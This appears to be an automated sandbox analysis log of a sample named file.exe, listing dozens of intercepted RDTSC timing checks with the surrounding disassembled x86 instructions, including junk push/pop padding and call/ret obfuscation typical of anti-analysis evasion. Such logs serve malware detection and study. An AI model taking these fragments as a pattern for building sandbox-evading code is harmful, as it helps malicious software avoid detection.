Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84BB1 second address: C84BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6398F5ECA1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83B7F second address: C83B94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83D1C second address: C83D26 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6398F5EC9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83D26 second address: C83D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83E95 second address: C83EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6398F5EC9Bh 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83EA9 second address: C83EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6398F5B496h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F6398F5B496h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83EBC second address: C83ECC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F6398F5ECB2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84020 second address: C84026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84026 second address: C8405D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6398F5ECAAh 0x0000000c jmp 00007F6398F5ECA4h 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6398F5ECA3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8748D second address: C874B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jo 00007F6398F5B49Eh 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C874B0 second address: C874CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [eax] 0x00000007 js 00007F6398F5EC9Eh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C874CE second address: B11987 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F6398F5B49Ch 0x0000000c popad 0x0000000d pop eax 0x0000000e push dword ptr [ebp+122D09DDh] 0x00000014 mov edi, ebx 0x00000016 call dword ptr [ebp+122D3064h] 0x0000001c pushad 0x0000001d mov dword ptr [ebp+122D183Dh], edx 0x00000023 xor eax, eax 0x00000025 jc 00007F6398F5B49Ah 0x0000002b pushad 0x0000002c mov edx, edi 0x0000002e popad 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 pushad 0x00000034 sub dword ptr [ebp+122D183Dh], ecx 0x0000003a popad 0x0000003b stc 0x0000003c mov dword ptr [ebp+122D2CB7h], eax 0x00000042 stc 0x00000043 mov esi, 0000003Ch 0x00000048 or dword ptr [ebp+122D3120h], edx 0x0000004e add esi, dword ptr [esp+24h] 0x00000052 jng 00007F6398F5B4A2h 0x00000058 jbe 00007F6398F5B49Ch 0x0000005e jbe 00007F6398F5B496h 0x00000064 lodsw 0x00000066 mov dword ptr [ebp+122D2566h], esi 0x0000006c jmp 00007F6398F5B4A3h 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 cld 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D3120h], ecx 0x00000080 nop 0x00000081 jmp 00007F6398F5B4A1h 0x00000086 push eax 0x00000087 pushad 0x00000088 push eax 0x00000089 push edx 0x0000008a pushad 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87501 second address: C8750B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6398F5EC96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C876CC second address: C876D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6398F5B496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C876D6 second address: C876DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C876DA second address: C8773A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F6398F5B49Fh 0x00000010 mov si, DC23h 0x00000014 pop edx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D38C6h], ecx 0x0000001d push E25F0FD6h 0x00000022 jmp 00007F6398F5B4A0h 0x00000027 add dword ptr [esp], 1DA0F0AAh 0x0000002e je 00007F6398F5B49Ch 0x00000034 mov dword ptr [ebp+122D37C8h], edi 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e cld 0x0000003f push 00000003h 0x00000041 push C9DAB370h 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87921 second address: C87926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C87926 second address: C8792C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8792C second address: C87930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7CD88 second address: C7CDAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6398F5B496h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6398F5B4A5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6458 second address: CA645E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA645E second address: CA6463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6463 second address: CA646D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6398F5ECA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA646D second address: CA6473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA66FC second address: CA6700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6700 second address: CA6704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6E1B second address: CA6E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6398F5ECA0h 0x00000009 jmp 00007F6398F5EC9Fh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F6398F5ECA7h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6E5F second address: CA6E6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F6398F5B496h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6E6B second address: CA6E8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6398F5ECA9h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6E8B second address: CA6E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F6398F5B496h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7F68 second address: CA7F86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F6398F5ECA2h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7F86 second address: CA7F9D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6398F5B49Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA840A second address: CA840E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB0C2 second address: CAB0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6DB74 second address: C6DB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jno 00007F6398F5EC96h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3279 second address: CB327F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB327F second address: CB3283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB459E second address: CB45C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F6398F5B4A3h 0x0000000e pushad 0x0000000f jo 00007F6398F5B496h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB47AF second address: CB47B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB47B3 second address: CB47B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB47B9 second address: CB47D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5ECA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB47D6 second address: CB47DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB509E second address: CB50B1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnc 00007F6398F5EC96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5289 second address: CB52A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B4A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB535B second address: CB5372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5372 second address: CB537B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB537B second address: CB537F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB54BB second address: CB54BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB54BF second address: CB54C9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6398F5EC9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB59BD second address: CB59F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F6398F5B4A2h 0x0000000f jmp 00007F6398F5B4A6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB59F0 second address: CB59F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8D9F second address: CB8DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8DA3 second address: CB8DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8DA9 second address: CB8DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8DAF second address: CB8E0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5EC9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F6398F5EC98h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 jmp 00007F6398F5EC9Fh 0x0000002d push 00000000h 0x0000002f jmp 00007F6398F5EC9Eh 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B2D7 second address: C7B2EC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007F6398F5B496h 0x0000000b pop esi 0x0000000c pushad 0x0000000d jg 00007F6398F5B496h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC0F7 second address: CBC0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC0FB second address: CBC0FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E7EB second address: C7E80A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6398F5EC9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F6398F5EC98h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2A1F second address: CC2A8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+122D2D1Fh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F6398F5B498h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov bx, A490h 0x00000030 xchg eax, esi 0x00000031 jo 00007F6398F5B4ADh 0x00000037 jl 00007F6398F5B4A7h 0x0000003d jmp 00007F6398F5B4A1h 0x00000042 push eax 0x00000043 jl 00007F6398F5B4ADh 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F6398F5B49Fh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3A10 second address: CC3A1A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6398F5EC9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2CC2 second address: CC2CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC2CC6 second address: CC2CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC598F second address: CC5993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4AFD second address: CC4B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5993 second address: CC59A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6398F5B49Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6A14 second address: CC6A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC5B53 second address: CC5B72 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6398F5B49Ch 0x00000008 jnp 00007F6398F5B496h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F6398F5B49Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6A1A second address: CC6A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F6398F5EC98h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov di, 5D42h 0x00000029 mov dword ptr [ebp+12459F66h], esi 0x0000002f push 00000000h 0x00000031 mov ebx, dword ptr [ebp+122D370Eh] 0x00000037 push eax 0x00000038 pushad 0x00000039 pushad 0x0000003a jne 00007F6398F5EC96h 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6A5E second address: CC6A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8910 second address: CC8984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D23E2h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F6398F5EC98h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a cld 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F6398F5EC98h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 xchg eax, esi 0x00000048 jnl 00007F6398F5ECA2h 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 js 00007F6398F5EC96h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9923 second address: CC9927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB739 second address: CCB73F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD8B2 second address: CCD8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA99F second address: CCAA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, eax 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov dword ptr [ebp+122D33A7h], esi 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F6398F5EC98h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 mov eax, dword ptr [ebp+122D0741h] 0x0000003f jno 00007F6398F5ECA2h 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F6398F5EC98h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 jmp 00007F6398F5ECA7h 0x00000066 sub bh, 0000001Eh 0x00000069 push eax 0x0000006a push edi 0x0000006b pushad 0x0000006c pushad 0x0000006d popad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB90D second address: CCB91C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6398F5B49Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA64 second address: CCCA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE83A second address: CCE8D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 jnp 00007F6398F5B4AAh 0x0000000e jmp 00007F6398F5B4A4h 0x00000013 pop ecx 0x00000014 nop 0x00000015 movzx ebx, si 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007F6398F5B498h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jmp 00007F6398F5B4A3h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007F6398F5B498h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 movsx edi, dx 0x00000058 call 00007F6398F5B49Ch 0x0000005d sub dword ptr [ebp+122D2648h], edx 0x00000063 pop ebx 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jns 00007F6398F5B49Ch 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCDB9C second address: CCDBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBA07 second address: CCBA11 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6398F5B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
